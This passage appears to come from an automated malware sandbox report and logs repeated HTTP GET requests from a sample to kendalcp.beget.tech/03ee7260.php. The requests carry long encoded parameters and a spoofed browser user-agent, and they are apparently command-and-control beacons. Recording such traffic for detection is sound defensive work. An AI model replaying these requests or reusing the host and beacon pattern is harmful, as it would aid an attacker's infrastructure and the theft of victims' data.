M0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=d1nIiojI5QzYhZWNwQ2YllTOyczNmJzNwUGZ2YDNhRDMxYWNxAjIsISMmNGOlBzNmNWYwMzNmJDN0QzYxQTZiZTZ0UzYiljM0UDNhdzNmlzNiojImZWZ4IWZ4ImZyUDOwEDNmV2NiFmZ3EDOkVWM0cDMwQjIsICN2QjNlJWZjVGN2IDNwUDNiBzNjNzN0YWO1QmNhZ2M1gTZycjMmhjNiojI5YGMxMGMmdjY1UjMiFTNhFDN3cDOiZTO0YWM3YzNkZjI7xSfikjVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMl2YtJGcChlWshnMVl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSplkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET 